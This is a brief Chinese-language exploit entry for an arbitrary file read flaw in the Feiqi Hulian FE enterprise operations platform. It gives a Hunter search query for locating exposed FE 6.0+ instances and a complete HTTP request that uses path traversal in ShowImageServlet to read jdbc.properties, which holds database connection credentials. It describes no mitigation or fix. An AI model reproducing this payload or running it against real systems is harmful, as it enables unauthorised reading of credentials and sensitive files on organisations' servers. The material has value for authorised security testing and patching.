F1-4飞企互联-FE企业运营管理平台-任意文件读取

漏洞描述：

FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name=="飞企互联 FE 6.0+"

漏洞复现：

payload：

```
GET /servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=625AA3D846D23854252F5319B351BC58
Upgrade-Insecure-Requests: 1
```

效果图: